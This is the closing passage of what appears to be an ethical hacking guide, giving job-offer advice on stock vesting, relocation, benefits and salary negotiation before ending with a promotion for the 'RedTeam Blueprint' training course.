Next is stock. A company may provide you with X amount of stock. This normally takes time to
vest AKA you wont be much of any until the first year has been completed. Then every 2-3
months you will receive more and more until 4 years is complete. Some organizations will issue
a refresh of the stock and at the end of 2-4 years you will get another X amount of stock in the
same fashion.
The relocation offer is an important piece of information. If you have any questions around this
contact the recruiter ASAP. Make sure you know if the amount is taxed when you receive it or
not.
Make sure you ask about any benefits the company has around Paid Time Off, Flexible Work
Hours, etc.
If the base salary does not look right to you or you believe it is below market or what you are
expecting, take a moment and call the recruiter. You will need to provide specific details and
numbers on why you should have the offer be higher and what the offer should look like. If the
number is what you are willing to accept and everything checks out its may not be wise to
negotiate the offer unless there is an issue you see.

The End
Congratulations on getting through this guide to Ethical Hacking! It’s a lot of information and
there is so much more to learn. What I want you to take away from this guide is that the
Security field is an ever changing and evolving field that YOU have to keep up with. It will leave
us all in the dust if we don’t.
The information in this document is only a fraction that is provided in the RedTeam Blueprint.
The RedTeam Blueprint at RedTeam Nation takes hundreds of more topics and go through
them with hands on exercises and video training!
If you want to take your career to the next level and this guide to Ethical Hacking was inspiring
to you take a look at the RedTeam Blueprint below!
https://redteamnation.com/why-enroll

